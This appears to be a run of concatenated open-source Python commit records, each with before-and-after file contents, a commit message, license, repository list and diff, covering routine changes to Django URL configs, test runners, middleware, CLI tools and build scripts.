from __version import git_revision as __git_revision__
from trmm3b4xrt import *
| Put file reader class into top-level namespace | ENH: Put file reader class into top-level namespace
| Python | bsd-3-clause | sahg/pytrmm | ---
+++
@@ -9,4 +9,4 @@
from __version import version as __version__
from __version import git_revision as __git_revision__
-import trmm3b4xrt
+from trmm3b4xrt import * |
77c0c6087b385eb7d61ff3f08655312a9d9250f5 | libravatar/urls.py | libravatar/urls.py | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Libravatar is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Libravatar. If not, see <http://www.gnu.org/licenses/>.
from django.conf.urls.defaults import *
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^account/', include('libravatar.account.urls')),
(r'^tools/', include('libravatar.tools.urls')),
(r'^$', 'libravatar.public.views.home'),
(r'^resize/', 'libravatar.public.views.resize'),
(r'^resolve/', 'libravatar.public.views.resolve'),
(r'^admin/', include(admin.site.urls)),
(r'^admin/doc/', include('django.contrib.admindocs.urls')),
)
| # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Libravatar is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Libravatar. If not, see <http://www.gnu.org/licenses/>.
from django.conf.urls.defaults import *
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^account/', include('libravatar.account.urls')),
(r'^tools/', include('libravatar.tools.urls')),
(r'^$', 'libravatar.public.views.home'),
(r'^resize/', 'libravatar.public.views.resize'),
(r'^resolve/', 'libravatar.public.views.resolve'),
)
| Remove the admin from the url resolver | Remove the admin from the url resolver
| Python | agpl-3.0 | libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar | ---
+++
@@ -27,7 +27,4 @@
(r'^$', 'libravatar.public.views.home'),
(r'^resize/', 'libravatar.public.views.resize'),
(r'^resolve/', 'libravatar.public.views.resolve'),
-
- (r'^admin/', include(admin.site.urls)),
- (r'^admin/doc/', include('django.contrib.admindocs.urls')),
) |
841235452d92ea4e40853c8df51568e01b39dba8 | stackoverflow/21180496/except.py | stackoverflow/21180496/except.py | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
################################################################################
#
# Demonstration of catching an exception and verifying its fields.
#
################################################################################
import unittest
class MyException(Exception):
def __init__(self, message):
self.message = message
def RaiseException(message):
raise MyException(message)
class ExceptionTest(unittest.TestCase):
def verifyComplexException(self, exception_class, message, callable, *args):
with self.assertRaises(exception_class) as cm:
callable(*args)
exception = cm.exception
self.assertEqual(exception.message, message)
def testRaises(self):
self.verifyComplexException(MyException, 'asdf', RaiseException, 'asdf')
if __name__ == '__main__':
unittest.main()
| #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Demonstration of catching an exception and verifying its fields."""
import unittest
class MyException(Exception):
def __init__(self, message):
self.message = message
def RaiseException(message):
raise MyException(message)
class ExceptionTest(unittest.TestCase):
def verifyComplexException(self, exception_class, message, callable, *args):
with self.assertRaises(exception_class) as cm:
callable(*args)
exception = cm.exception
self.assertEqual(exception.message, message)
def testRaises(self):
self.verifyComplexException(MyException, 'asdf', RaiseException, 'asdf')
if __name__ == '__main__':
unittest.main()
| Convert top-level-comment to a docstring. | Convert top-level-comment to a docstring.
| Python | apache-2.0 | mbrukman/stackexchange-answers,mbrukman/stackexchange-answers | ---
+++
@@ -13,12 +13,8 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
-################################################################################
-#
-# Demonstration of catching an exception and verifying its fields.
-#
-################################################################################
+
+"""Demonstration of catching an exception and verifying its fields."""
import unittest
|
e664c5ec6bb90f65ab159fdf332c06d4bd0f42e2 | td_biblio/urls.py | td_biblio/urls.py | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='import'
),
url(
'^import/success$',
views.EntryBatchImportSuccessView.as_view(),
name='import_success'
),
]
| # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
app_name = 'td_biblio'
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='import'
),
url(
'^import/success$',
views.EntryBatchImportSuccessView.as_view(),
name='import_success'
),
]
| Add app_name url to td_biblio | Add app_name url to td_biblio
| Python | mit | TailorDev/django-tailordev-biblio,TailorDev/django-tailordev-biblio,TailorDev/django-tailordev-biblio,TailorDev/django-tailordev-biblio | ---
+++
@@ -3,7 +3,7 @@
from . import views
-
+app_name = 'td_biblio'
urlpatterns = [
# Entry List
url( |
ba5260f5935de1cb1a068f0350cfe8d962e15805 | tailor/listeners/mainlistener.py | tailor/listeners/mainlistener.py | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Enum names should be in UpperCamelCase')
def enterEnumCaseName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Enum case names should be in UpperCamelCase')
def enterStructName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Struct names should be in UpperCamelCase')
@staticmethod
def __verify_upper_camel_case(ctx, err_msg):
construct_name = ctx.getText()
if not is_upper_camel_case(construct_name):
print('Line', str(ctx.start.line) + ':', err_msg)
| from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Enum names should be in UpperCamelCase')
def enterEnumCaseName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Enum case names should be in UpperCamelCase')
def enterStructName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Struct names should be in UpperCamelCase')
def enterProtocolName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Protocol names should be in UpperCamelCase')
@staticmethod
def __verify_upper_camel_case(ctx, err_msg):
construct_name = ctx.getText()
if not is_upper_camel_case(construct_name):
print('Line', str(ctx.start.line) + ':', err_msg)
| Implement UpperCamelCase name check for protocols | Implement UpperCamelCase name check for protocols
| Python | mit | sleekbyte/tailor,sleekbyte/tailor,sleekbyte/tailor,sleekbyte/tailor,sleekbyte/tailor | ---
+++
@@ -16,6 +16,9 @@
def enterStructName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Struct names should be in UpperCamelCase')
+ def enterProtocolName(self, ctx):
+ self.__verify_upper_camel_case(ctx, 'Protocol names should be in UpperCamelCase')
+
@staticmethod
def __verify_upper_camel_case(ctx, err_msg):
construct_name = ctx.getText() |
8f2fcb6f377c93e36612bd815fe810afba56e355 | pyflation/__init__.py | pyflation/__init__.py | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main entry point to this package is the cosmomodels module, which contains the main
simulation classes.
Configuration of the simulation runs can be changed in the configuration.py and run_config.py files.
""" | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main entry point to this package is the cosmomodels module, which contains the main
simulation classes.
Configuration of the simulation runs can be changed in the configuration.py and run_config.py files.
"""
__version__ = "0.1.0" | Add version to package documentation. | Add version to package documentation.
| Python | bsd-3-clause | ihuston/pyflation,ihuston/pyflation | ---
+++
@@ -11,3 +11,5 @@
"""
+
+__version__ = "0.1.0" |
b8ca257a1a2727a9caa043739463e8cdf49c8d5a | news/middleware.py | news/middleware.py | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, view_args, view_kwargs):
super(GraphiteViewHitCountMiddleware, self).process_view(
request, view_func, view_args, view_kwargs)
if hasattr(request, '_view_name'):
data = dict(module=request._view_module, name=request._view_name,
method=request.method)
statsd.incr('view.count.{module}.{name}.{method}'.format(**data))
statsd.incr('view.count.{module}.{method}'.format(**data))
statsd.incr('view.count.{method}'.format(**data))
class HostnameMiddleware(object):
def __init__(self):
values = [getattr(settings, x) for x in ['HOSTNAME', 'DEIS_APP',
'DEIS_RELEASE', 'DEIS_DOMAIN']]
self.backend_server = '.'.join(x for x in values if x)
def process_response(self, request, response):
response['X-Backend-Server'] = self.backend_server
return response
| from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, view_args, view_kwargs):
super(GraphiteViewHitCountMiddleware, self).process_view(
request, view_func, view_args, view_kwargs)
if hasattr(request, '_view_name'):
secure = 'secure' if request.is_secure() else 'insecure'
data = dict(module=request._view_module, name=request._view_name,
method=request.method, secure=secure)
statsd.incr('view.count.{module}.{name}.{method}.{secure}'.format(**data))
statsd.incr('view.count.{module}.{name}.{method}'.format(**data))
statsd.incr('view.count.{module}.{method}.{secure}'.format(**data))
statsd.incr('view.count.{module}.{method}'.format(**data))
statsd.incr('view.count.{method}.{secure}'.format(**data))
statsd.incr('view.count.{method}'.format(**data))
class HostnameMiddleware(object):
def __init__(self):
values = [getattr(settings, x) for x in ['HOSTNAME', 'DEIS_APP',
'DEIS_RELEASE', 'DEIS_DOMAIN']]
self.backend_server = '.'.join(x for x in values if x)
def process_response(self, request, response):
response['X-Backend-Server'] = self.backend_server
return response
| Add statsd data for (in)secure requests | Add statsd data for (in)secure requests
| Python | mpl-2.0 | glogiotatidis/basket,glogiotatidis/basket,glogiotatidis/basket | ---
+++
@@ -11,10 +11,14 @@
super(GraphiteViewHitCountMiddleware, self).process_view(
request, view_func, view_args, view_kwargs)
if hasattr(request, '_view_name'):
+ secure = 'secure' if request.is_secure() else 'insecure'
data = dict(module=request._view_module, name=request._view_name,
- method=request.method)
+ method=request.method, secure=secure)
+ statsd.incr('view.count.{module}.{name}.{method}.{secure}'.format(**data))
statsd.incr('view.count.{module}.{name}.{method}'.format(**data))
+ statsd.incr('view.count.{module}.{method}.{secure}'.format(**data))
statsd.incr('view.count.{module}.{method}'.format(**data))
+ statsd.incr('view.count.{method}.{secure}'.format(**data))
statsd.incr('view.count.{method}'.format(**data))
|
5cca245f84a87f503c8e16577b7dba635d689a26 | opencc/__main__.py | opencc/__main__.py | from __future__ import print_function
import argparse
import sys
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original text from <file>.')
parser.add_argument('-o', '--output', metavar='<file>',
help='Write converted text to <file>.')
parser.add_argument('-c', '--config', metavar='<file>',
help='Configuration file')
parser.add_argument('--in-enc', metavar='<encoding>', default='UTF-8',
help='Encoding for input')
parser.add_argument('--out-enc', metavar='<encoding>', default='UTF-8',
help='Encoding for output')
args = parser.parse_args()
if args.config is None:
print("Please specify a configuration file.", file=sys.stderr)
return 1
cc = OpenCC(args.config)
with open(args.input if args.input else 0, encoding=args.in_enc) as f:
input_str = f.read()
output_str = cc.convert(input_str)
with open(args.output if args.output else 1, 'w',
encoding=args.out_enc) as f:
f.write(output_str)
return 0
if __name__ == '__main__':
sys.exit(main())
| from __future__ import print_function
import argparse
import sys
import io
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original text from <file>.')
parser.add_argument('-o', '--output', metavar='<file>',
help='Write converted text to <file>.')
parser.add_argument('-c', '--config', metavar='<conversion>',
help='Conversion')
parser.add_argument('--in-enc', metavar='<encoding>', default='UTF-8',
help='Encoding for input')
parser.add_argument('--out-enc', metavar='<encoding>', default='UTF-8',
help='Encoding for output')
args = parser.parse_args()
if args.config is None:
print("Please specify a conversion.", file=sys.stderr)
return 1
cc = OpenCC(args.config)
with io.open(args.input if args.input else 0, encoding=args.in_enc) as f:
input_str = f.read()
output_str = cc.convert(input_str)
with io.open(args.output if args.output else 1, 'w',
encoding=args.out_enc) as f:
f.write(output_str)
return 0
if __name__ == '__main__':
sys.exit(main())
| Add support for Python 2.6 and 2.7 | Add support for Python 2.6 and 2.7
Remove the following error when using Python 2.6 and 2.7.
TypeError: 'encoding' is an invalid keyword argument for this function
Python 3 operation is unchanged
| Python | apache-2.0 | yichen0831/opencc-python | ---
+++
@@ -2,6 +2,7 @@
import argparse
import sys
+import io
from opencc import OpenCC
@@ -12,8 +13,8 @@
help='Read original text from <file>.')
parser.add_argument('-o', '--output', metavar='<file>',
help='Write converted text to <file>.')
- parser.add_argument('-c', '--config', metavar='<file>',
- help='Configuration file')
+ parser.add_argument('-c', '--config', metavar='<conversion>',
+ help='Conversion')
parser.add_argument('--in-enc', metavar='<encoding>', default='UTF-8',
help='Encoding for input')
parser.add_argument('--out-enc', metavar='<encoding>', default='UTF-8',
@@ -21,15 +22,15 @@
args = parser.parse_args()
if args.config is None:
- print("Please specify a configuration file.", file=sys.stderr)
+ print("Please specify a conversion.", file=sys.stderr)
return 1
cc = OpenCC(args.config)
- with open(args.input if args.input else 0, encoding=args.in_enc) as f:
+ with io.open(args.input if args.input else 0, encoding=args.in_enc) as f:
input_str = f.read()
output_str = cc.convert(input_str)
- with open(args.output if args.output else 1, 'w',
+ with io.open(args.output if args.output else 1, 'w',
encoding=args.out_enc) as f:
f.write(output_str)
|
cb9933852e0f8c46081f084ea1f365873582daf8 | opps/core/admin.py | opps/core/admin.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_available', 'published']
list_filter = ['date_available', 'published', 'channel_name']
search_fields = ['title', 'slug', 'headline', 'channel_name']
exclude = ('user',)
def save_model(self, request, obj, form, change):
if getattr(obj, 'pk', None) is None:
obj.user = request.user
obj.save()
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
from django.utils import timezone
from django.conf import settings
from django.contrib.sites.models import Site
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_available', 'published']
list_filter = ['date_available', 'published', 'channel_name']
search_fields = ['title', 'slug', 'headline', 'channel_name']
exclude = ('user',)
def save_model(self, request, obj, form, change):
if getattr(obj, 'pk', None) is None:
obj.user = request.user
obj.date_insert = timezone.now()
obj.site = Site.objects.get(pk=settings.SITE_ID)
obj.date_update = timezone.now()
obj.save()
| Fix bug 'auto field does not accept 0 value' | Fix bug 'auto field does not accept 0 value'
| Python | mit | YACOWS/opps,YACOWS/opps,williamroot/opps,jeanmask/opps,williamroot/opps,opps/opps,jeanmask/opps,opps/opps,williamroot/opps,YACOWS/opps,opps/opps,YACOWS/opps,williamroot/opps,jeanmask/opps,jeanmask/opps,opps/opps | ---
+++
@@ -1,6 +1,9 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
+from django.utils import timezone
+from django.conf import settings
+from django.contrib.sites.models import Site
class PublishableAdmin(admin.ModelAdmin):
@@ -16,4 +19,7 @@
def save_model(self, request, obj, form, change):
if getattr(obj, 'pk', None) is None:
obj.user = request.user
+ obj.date_insert = timezone.now()
+ obj.site = Site.objects.get(pk=settings.SITE_ID)
+ obj.date_update = timezone.now()
obj.save() |
446eab8e384e28e6d679233ae0ae13dabaddb77d | .build/build.py | .build/build.py | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plugins
(e.g. DatabasePlugin)
"""
if __name__ == "__main__":
sys.argv[0] = 'rpython' # required for sqpyte hacks
if not any(arg.startswith("-") for arg in sys.argv):
sys.argv.append("--batch")
target = os.path.join(os.path.dirname(__file__), "..", "targetrsqueak.py")
if '--' in sys.argv:
sys.argv[sys.argv.index('--')] = target
else:
sys.argv.append(target)
import environment
from rpython.translator.goal.translate import main
main()
| #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plugins
(e.g. DatabasePlugin)
"""
if __name__ == "__main__":
if not any(arg.startswith("-") for arg in sys.argv):
sys.argv.append("--batch")
target = os.path.join(os.path.dirname(__file__), "..", "targetrsqueak.py")
if '--' in sys.argv:
sys.argv[sys.argv.index('--')] = target
else:
sys.argv.append(target)
import environment
from rpython.translator.goal.translate import main
main()
| Remove hack for sqpyte again | Remove hack for sqpyte again
Related: https://github.com/HPI-SWA-Lab/SQPyte/commit/1afdff01b989352e3d72ca7f2cc9c837471642c7
| Python | bsd-3-clause | HPI-SWA-Lab/RSqueak,HPI-SWA-Lab/RSqueak,HPI-SWA-Lab/RSqueak,HPI-SWA-Lab/RSqueak | ---
+++
@@ -15,7 +15,6 @@
"""
if __name__ == "__main__":
- sys.argv[0] = 'rpython' # required for sqpyte hacks
if not any(arg.startswith("-") for arg in sys.argv):
sys.argv.append("--batch")
target = os.path.join(os.path.dirname(__file__), "..", "targetrsqueak.py") |
78e2cc736b7c3f5b0fdd2caa24cc9c1c003ca1b6 | test_proj/urls.py | test_proj/urls.py | from django.conf.urls.defaults import *
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),
)
| try:
from django.conf.urls import patterns, url, include
except ImportError: # django < 1.4
from django.conf.urls.defaults import patterns, url, include
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),
)
| Support for Django > 1.4 for test proj | Support for Django > 1.4 for test proj
| Python | mit | django-admin-tools/django-admin-tools,django-admin-tools/django-admin-tools,miurahr/django-admin-tools,miurahr/django-admin-tools,django-admin-tools/django-admin-tools,glowka/django-admin-tools,glowka/django-admin-tools,eternalfame/django-admin-tools,eternalfame/django-admin-tools,miurahr/django-admin-tools,miurahr/django-admin-tools,eternalfame/django-admin-tools,glowka/django-admin-tools | ---
+++
@@ -1,4 +1,7 @@
-from django.conf.urls.defaults import *
+try:
+ from django.conf.urls import patterns, url, include
+except ImportError: # django < 1.4
+ from django.conf.urls.defaults import patterns, url, include
from django.conf import settings
from django.contrib import admin
|
e23190cb42bc64f9f381f05e24849174af3e9ff5 | base/test_views.py | base/test_views.py | from django.test import TestCase
from splinter import Browser
class TestBaseViews(TestCase):
def setUp(self):
self.browser = Browser('chrome')
def tearDown(self):
self.browser.quit()
def test_home(self):
self.browser.visit('http://localhost:8000')
test_string = 'Hello, world!'
if self.browser.is_text_present(test_string):
self.assertTrue(True)
def test_robots(self):
self.browser.visit('http://localhost:8000/robots.txt')
if self.browser.is_text_present('robotstxt'):
self.assertTrue(True)
def test_humans(self):
self.browser.visit('http://localhost:8000/humans.txt')
if self.browser.is_text_present('humanstxt'):
self.assertTrue(True)
| from django.contrib.staticfiles.testing import StaticLiveServerTestCase
from django.urls import reverse
from splinter import Browser
class TestBaseViews(StaticLiveServerTestCase):
"""Integration test suite for testing the views in the app: base.
Test the url for home and the basefiles like robots.txt and humans.txt
Attributes
----------
browser : Browser
Driver to navigate through websites and to run integration tests.
"""
def setUp(self):
"""Initialize the browser, before running the tests.
"""
self.browser = Browser('chrome')
def tearDown(self):
"""At the end of tests, close the browser
"""
self.browser.quit()
def test_home(self):
"""Test for url 'base:home'.
Visit the url of name 'home' and check it loads the content
"""
self.browser.visit(self.live_server_url + reverse('home'))
self.assertTrue(self.browser.is_text_present('Hello, world!'))
def test_robots(self):
"""Test for url 'base:base_files(robots.txt)'.
Visit the url of robots.txt and check it loads the file
"""
self.browser.visit(self.live_server_url + reverse('base_files',
kwargs={'filename': 'robots.txt'}))
self.assertTrue(self.browser.is_text_present('robotstxt'))
def test_humans(self):
"""Test for url 'base:base_files(humans.txt)'.
Visit the url of humans.txt and check it loads the file
"""
self.browser.visit(self.live_server_url + reverse('base_files',
kwargs={'filename': 'humans.txt'}))
self.assertTrue(self.browser.is_text_present('humanstxt'))
| Add the proper tests for the base app | Add the proper tests for the base app
| Python | mit | tosp/djangoTemplate,tosp/djangoTemplate | ---
+++
@@ -1,27 +1,51 @@
-from django.test import TestCase
+from django.contrib.staticfiles.testing import StaticLiveServerTestCase
+from django.urls import reverse
from splinter import Browser
-class TestBaseViews(TestCase):
+class TestBaseViews(StaticLiveServerTestCase):
+ """Integration test suite for testing the views in the app: base.
+
+ Test the url for home and the basefiles like robots.txt and humans.txt
+
+ Attributes
+ ----------
+ browser : Browser
+ Driver to navigate through websites and to run integration tests.
+ """
def setUp(self):
+ """Initialize the browser, before running the tests.
+ """
self.browser = Browser('chrome')
def tearDown(self):
+ """At the end of tests, close the browser
+ """
self.browser.quit()
def test_home(self):
- self.browser.visit('http://localhost:8000')
- test_string = 'Hello, world!'
- if self.browser.is_text_present(test_string):
- self.assertTrue(True)
+ """Test for url 'base:home'.
+
+ Visit the url of name 'home' and check it loads the content
+ """
+ self.browser.visit(self.live_server_url + reverse('home'))
+ self.assertTrue(self.browser.is_text_present('Hello, world!'))
def test_robots(self):
- self.browser.visit('http://localhost:8000/robots.txt')
- if self.browser.is_text_present('robotstxt'):
- self.assertTrue(True)
+ """Test for url 'base:base_files(robots.txt)'.
+
+ Visit the url of robots.txt and check it loads the file
+ """
+ self.browser.visit(self.live_server_url + reverse('base_files',
+ kwargs={'filename': 'robots.txt'}))
+ self.assertTrue(self.browser.is_text_present('robotstxt'))
def test_humans(self):
- self.browser.visit('http://localhost:8000/humans.txt')
- if self.browser.is_text_present('humanstxt'):
- self.assertTrue(True)
+ """Test for url 'base:base_files(humans.txt)'.
+
+ Visit the url of humans.txt and check it loads the file
+ """
+ self.browser.visit(self.live_server_url + reverse('base_files',
+ kwargs={'filename': 'humans.txt'}))
+ self.assertTrue(self.browser.is_text_present('humanstxt')) |
8becd32fc042445d62b885bac12dac326b2dc1fa | tests/runtests.py | tests/runtests.py | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importModules(buildDir=buildDir)
dir = os.path.split(os.path.abspath(__file__))[0]
os.chdir(dir)
def gettestnames():
names = map(lambda x: x[:-3], files)
return names
suite = unittest.TestSuite()
loader = unittest.TestLoader()
for name in gettestnames():
if program and program not in name:
continue
suite.addTest(loader.loadTestsFromName(name))
testRunner = unittest.TextTestRunner()
testRunner.run(suite)
| #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importModules(buildDir=buildDir)
dir = os.path.split(os.path.abspath(__file__))[0]
os.chdir(dir)
def gettestnames():
names = map(lambda x: x[:-3], files)
return names
suite = unittest.TestSuite()
loader = unittest.TestLoader()
for name in gettestnames():
if program and program not in name:
continue
suite.addTest(loader.loadTestsFromName(name))
testRunner = unittest.TextTestRunner(verbosity=2)
testRunner.run(suite)
| Increase a bit verbosity of tests so people know which test failed | Increase a bit verbosity of tests so people know which test failed
| Python | lgpl-2.1 | nzjrs/pygobject,davidmalcolm/pygobject,MathieuDuponchelle/pygobject,alexef/pygobject,Distrotech/pygobject,davidmalcolm/pygobject,thiblahute/pygobject,GNOME/pygobject,davidmalcolm/pygobject,GNOME/pygobject,sfeltman/pygobject,MathieuDuponchelle/pygobject,jdahlin/pygobject,Distrotech/pygobject,sfeltman/pygobject,davibe/pygobject,nzjrs/pygobject,nzjrs/pygobject,jdahlin/pygobject,pexip/pygobject,alexef/pygobject,davibe/pygobject,davibe/pygobject,MathieuDuponchelle/pygobject,Distrotech/pygobject,Distrotech/pygobject,choeger/pygobject-cmake,choeger/pygobject-cmake,choeger/pygobject-cmake,pexip/pygobject,sfeltman/pygobject,thiblahute/pygobject,davibe/pygobject,pexip/pygobject,alexef/pygobject,thiblahute/pygobject,GNOME/pygobject,jdahlin/pygobject | ---
+++
@@ -31,5 +31,5 @@
continue
suite.addTest(loader.loadTestsFromName(name))
-testRunner = unittest.TextTestRunner()
+testRunner = unittest.TextTestRunner(verbosity=2)
testRunner.run(suite) |
cb1142d5ac8d144e5ab0fc95ceed156c855b6bd2 | randomize-music.py | randomize-music.py | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for file_name in os.listdir(dir_name):
rand_name = uuid.uuid4().hex
src = os.path.join(dir_name, file_name)
subprocess.check_call(['eyeD3', '--artist', rand_name, '--album', rand_name, src])
os.rename(src, os.path.join(dir_name, '{} {}'.format(rand_name, file_name)))
| #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for root, dirs, files in os.walk(dir_name):
for file_name in files:
rand_name = uuid.uuid4().hex
src = os.path.join(root, file_name)
if src.endswith('.mp3'):
subprocess.check_call(['eyeD3', '--artist', rand_name, '--album', rand_name, src])
os.rename(src, os.path.join(root, '{} {}'.format(rand_name, file_name)))
| Generalize randomize script to work recursively and on more than just music | Generalize randomize script to work recursively and on more than just music
| Python | mit | cataliniacob/misc,cataliniacob/misc | ---
+++
@@ -8,10 +8,12 @@
if __name__ == '__main__':
dir_name = sys.argv[1]
- for file_name in os.listdir(dir_name):
- rand_name = uuid.uuid4().hex
- src = os.path.join(dir_name, file_name)
- subprocess.check_call(['eyeD3', '--artist', rand_name, '--album', rand_name, src])
+ for root, dirs, files in os.walk(dir_name):
+ for file_name in files:
+ rand_name = uuid.uuid4().hex
+ src = os.path.join(root, file_name)
+ if src.endswith('.mp3'):
+ subprocess.check_call(['eyeD3', '--artist', rand_name, '--album', rand_name, src])
- os.rename(src, os.path.join(dir_name, '{} {}'.format(rand_name, file_name)))
+ os.rename(src, os.path.join(root, '{} {}'.format(rand_name, file_name)))
|
215622e070860cb24c032186d768c6b341ad27fb | nemubot.py | nemubot.py | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the prompt due to errors. Fix them before trying to reload the prompt.")
exc_type, exc_value, exc_traceback = sys.exc_info()
sys.stdout.write (traceback.format_exception_only(exc_type, exc_value)[0])
print ("Bye")
sys.exit(0)
| #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
prompt = __import__ ("prompt")
if len(sys.argv) >= 2:
for arg in sys.argv[1:]:
prompt.load_file(arg, servers)
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the prompt due to errors. Fix them before trying to reload the prompt.")
exc_type, exc_value, exc_traceback = sys.exc_info()
sys.stdout.write (traceback.format_exception_only(exc_type, exc_value)[0])
